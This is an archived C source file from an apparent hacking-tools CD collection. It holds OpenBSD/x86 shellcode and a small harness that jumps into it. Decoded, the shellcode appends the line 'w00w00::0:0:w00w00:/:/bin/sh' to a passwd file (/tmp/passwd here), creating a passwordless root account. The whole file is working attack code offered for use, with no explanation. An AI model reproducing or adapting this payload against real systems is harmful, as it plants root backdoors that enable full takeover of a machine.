home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / openbsd / pass.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  630 b   |  27 lines

  1. #include <string.h>
  2.  
  3. char shell[]=
  4. "\xeb\x2b\x5e\x31\xc0\x88\x46\x0b"
  5. "\x88\x46\x29\x50\xb0\x09\x50\x31"
  6. "\xc0\x56\x50\xb0\x05\xcd\x80\x89"
  7. "\xc3\x6a\x1d\x8d\x46\x0c\x50\x53"
  8. "\x50\x31\xc0\xb0\x04\xcd\x80\x31"
  9. "\xc0\xb0\x01\xcd\x80\xe8\xd0\xff"
  10. "\xff\xff\x2f\x74\x6d\x70\x2f\x70"
  11. "\x61\x73\x73\x77\x64\x30\x77\x30"
  12. "\x30\x77\x30\x30\x3a\x3a\x30\x3a"
  13. "\x30\x3a\x77\x30\x30\x77\x30\x30"
  14. "\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
  15. "\x73\x68\x0a\x30\xff\xff\xff\xff"
  16. "\xff\xff\xff\xff\xff\xff\xff\xff"
  17. "\xff\xff\xff\xff\xff\xff\xff\xff";
  18.  
  19. main()
  20. {
  21.    int *ret;
  22.    printf("\n%d\n",sizeof(shell));
  23.    ret=(int*)&ret+2;
  24.    (*ret)=(int)shell;
  25. }
  26.  
  27.